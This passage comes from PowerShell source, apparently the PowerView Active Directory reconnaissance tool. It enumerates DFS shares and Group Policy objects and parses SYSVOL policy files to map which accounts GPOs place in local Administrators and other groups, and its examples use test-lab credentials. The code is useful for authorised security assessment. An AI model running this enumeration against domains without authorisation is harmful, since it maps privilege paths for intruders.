$DFSroot = $Target.split('\')[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_" + } + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } + } + $DFSSearcher.dispose() + } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' + } + } + } + + PROCESS { + $DFSshares = @() + + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } + } + else { + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } + + $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique + } +} + + +######################################################## +# +# GPO related functions. +# +######################################################## + +function Get-GptTmpl { +<# +.SYNOPSIS + +Helper to parse a GptTmpl.inf policy file path into a hashtable. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent + +.DESCRIPTION + +Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a +GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf +is constructed and assumed to be the parse target. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. + +.PARAMETER GptTmplPath + +Specifies the GptTmpl.inf file path name to parse. + +.PARAMETER OutputObject + +Switch. Output a custom PSObject instead of a hashtable. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local + +.EXAMPLE + +Get-DomainGPO testing | Get-GptTmpl + +Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local using alternate credentials. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('gpcfilesyspath', 'Path')] + [String] + $GptTmplPath, + + [Switch] + $OutputObject, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $MappedPaths = @{} + } + + PROCESS { + try { + if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True + } + } + + $TargetGptTmplPath = $GptTmplPath + if (-not $TargetGptTmplPath.EndsWith('.inf')) { + $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' + } + + Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" + + if ($PSBoundParameters['OutputObject']) { + $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop + if ($Contents) { + $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath + $Contents + } + } + else { + $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop + if ($Contents) { + $Contents['Path'] = $TargetGptTmplPath + $Contents + } + } + } + catch { + Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" + } + } + + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } + } +} + + +function Get-GroupsXML { +<# +.SYNOPSIS + +Helper to parse a groups.xml file path into a custom object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID + +.DESCRIPTION + +Parses a groups.xml into a custom object. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. + +.PARAMETER GroupsXMLpath + +Specifies the groups.xml file path name to parse. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.OUTPUTS + +PowerView.GroupsXML +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GroupsXML')] + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Path')] + [String] + $GroupsXMLPath, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $MappedPaths = @{} + } + + PROCESS { + try { + if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True + } + } + + [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { + + $Groupname = $_.Properties.groupName + + # extract the localgroup sid for memberof + $GroupSID = $_.Properties.groupSid + if (-not $GroupSID) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + else { + if ($PSBoundParameters['Credential']) { + $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential + } + else { + $GroupSID = ConvertTo-SID -ObjectName $Groupname + } + } + } + + # extract out members added to this group + $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if ($_.sid) { $_.sid } + else { $_.name } + } + + if ($Members) { + # extract out any/all filters...I hate you GPP + if ($_.filters) { + $Filters = $_.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + else { + $Filters = $Null + } + + if ($Members -isnot [System.Array]) { $Members = @($Members) } + + $GroupsXML = New-Object PSObject + $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GroupsXML | Add-Member Noteproperty 'Filters' $Filters + $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName + $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID + $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null + $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members + $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') + $GroupsXML + } + } + } + catch { + Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" + } + } + + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } + } +} + + +function Get-DomainGPO { +<# +.SYNOPSIS + +Return all GPOs or specific GPO objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all GPO objects for +the current domain are returned. To enumerate all GPOs that are applied to +a particular machine, use -ComputerName X. + +.PARAMETER Identity + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. + +.PARAMETER ComputerIdentity + +Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). + +.PARAMETER UserIdentity + +Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainGPO -Domain testlab.local + +Return all GPOs for the testlab.local domain + +.EXAMPLE + +Get-DomainGPO -ComputerName windows1.testlab.local + +Returns all GPOs applied windows1.testlab.local + +.EXAMPLE + +"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO + +Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display +name of "Test GPO" + +.EXAMPLE + +Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPO -Credential $Cred + +.OUTPUTS + +PowerView.GPO + +Custom PSObject with translated GPO property fields. + +PowerView.GPO.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.GPO')] + [OutputType('PowerView.GPO.Raw')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Parameter(ParameterSetName = 'ComputerIdentity')] + [Alias('ComputerName')] + [ValidateNotNullOrEmpty()] + [String] + $ComputerIdentity, + + [Parameter(ParameterSetName = 'UserIdentity')] + [Alias('UserName')] + [ValidateNotNullOrEmpty()] + [String] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GPOSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($GPOSearcher) { + if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { + $GPOAdsPaths = @() + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' + $TargetComputerName = $Null + + if ($PSBoundParameters['ComputerIdentity']) { + $SearcherArguments['Identity'] = $ComputerIdentity + $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $Computer) { + Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" + } + $ObjectDN = $Computer.distinguishedname + $TargetComputerName = $Computer.dnshostname + } + else { + $SearcherArguments['Identity'] = $UserIdentity + $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $User) { + Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" + } + $ObjectDN = $User.distinguishedname + } + + # extract all OUs the target user/computer is a part of + $ObjectOUs = @() + $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { + if($_.startswith('OU=')) { + $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) + } + } + Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" + + if ($ObjectOUs) { + # find all the GPOs linked to the user/computer's OUs + $SearcherArguments.Remove('Properties') + $InheritanceDisabled = $False + ForEach($ObjectOU in $ObjectOUs) { + $SearcherArguments['Identity'] = $ObjectOU + $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { + # extract any GPO links for this particular OU the computer is a part of + if ($_.gplink) { + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $Parts = $_.split(';') + $GpoDN = $Parts[0] + $Enforced = $Parts[1] + + if ($InheritanceDisabled) { + # if inheritance has already been disabled and this GPO is set as "enforced" + # then add it, otherwise ignore it + if ($Enforced -eq 2) { + $GpoDN + } + } + else { + # inheritance not marked as disabled yet + $GpoDN + } + } + } + } + + # if this OU has GPO inheritence disabled, break so additional OUs aren't processed + if ($_.gpoptions -eq 1) { + $InheritanceDisabled = $True + } + } + } + } + + if ($TargetComputerName) { + # find all the GPOs linked to the computer's site + $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { + $SearcherArguments['Identity'] = $ComputerSite + $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular site the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + } + } + + # find any GPOs linked to the user/computer's domain + $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) + $SearcherArguments.Remove('Identity') + $SearcherArguments.Remove('Properties') + $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" + $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular domain the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" + + # restore the old properites to return, if set + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + else { $SearcherArguments.Remove('Properties') } + $SearcherArguments.Remove('Identity') + + $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + # use the gplink as an ADS path to enumerate all GPOs for the computer + $SearcherArguments['SearchBase'] = $_ + $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" + Get-DomainObject @SearcherArguments | ForEach-Object { + if ($PSBoundParameters['Raw']) { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $_ + } + } + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match 'LDAP://|^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GPOSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GPOSearcher) { + Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -match '{.*}') { + $IdentityFilter += "(name=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(displayname=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" + Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } + else { $Results = $GPOSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $GPO = $_ + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { + $GPO = Convert-LDAPProperty -Properties $_.Properties + try { + $GPODN = $GPO.distinguishedname + $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" + $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + } + catch { + Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" + } + } + else { + $GPO = Convert-LDAPProperty -Properties $_.Properties + } + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $GPO + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" + } + } + $GPOSearcher.dispose() + } + } + } +} + + +function Get-DomainGPOLocalGroup { +<# +.SYNOPSIS + +Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' +or Group Policy preferences. Also return their user membership mappings, if they exist. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID + +.DESCRIPTION + +First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed +arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or +group membership is set through Group Policy Preferences groups.xml files. For any +GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' +section data is processed if present. Any found Groups.xml files are parsed with +Get-GroupsXML and those memberships are returned as well. + +.PARAMETER Identity + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. + +.PARAMETER ResolveMembersToSIDs + +Switch. Indicates that any member names should be resolved to their domain SIDs. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOLocalGroup + +Returns all local groups set by GPO along with their members and memberof. + +.EXAMPLE + +Get-DomainGPOLocalGroup -ResolveMembersToSIDs + +Returns all local groups set by GPO along with their members and memberof, +and resolve any members to their domain SIDs. + +.EXAMPLE + +'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup + +Return any GPO-set groups for the GPO with the given name/GUID. + +.EXAMPLE + +Get-DomainGPOLocalGroup 'Desktops' + +Return any GPO-set groups for the GPO with the given display name. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOLocalGroup -Credential $Cred + +.LINK + +https://morgansimonsenblog.azurewebsites.net/tag/groups/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Switch] + $ResolveMembersToSIDs, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ConvertArguments = @{} + if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainGPO @SearcherArguments | ForEach-Object { + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists + $Inf = Get-GptTmpl @ParseArgs + + if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { + $Memberships = @{} + + # parse the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} + # extract out ALL members + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + + if ($PSBoundParameters['ResolveMembersToSIDs']) { + # if the resulting member is username and not a SID, attempt to resolve it + $GroupMembers = @() + ForEach ($Member in $MembershipValue) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + $ConvertToArguments = @{'ObjectName' = $Member} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID @ConvertToArguments + + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $MembershipValue = $GroupMembers + } + + if (-not $Memberships[$Group]) { + $Memberships[$Group] = @{} + } + if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} + $Memberships[$Group].Add($Relation, $MembershipValue) + } + + ForEach ($Membership in $Memberships.GetEnumerator()) { + if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + if ($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments + } + else { + $GroupName = $False + } + } + else { + $GroupName = $Membership.Key + + if ($GroupName -and ($GroupName.Trim() -ne '')) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif ($GroupName.Trim() -ne '') { + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $GroupSID = ConvertTo-SID @ConvertToArguments + } + else { + $GroupSID = $Null + } + } + } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + 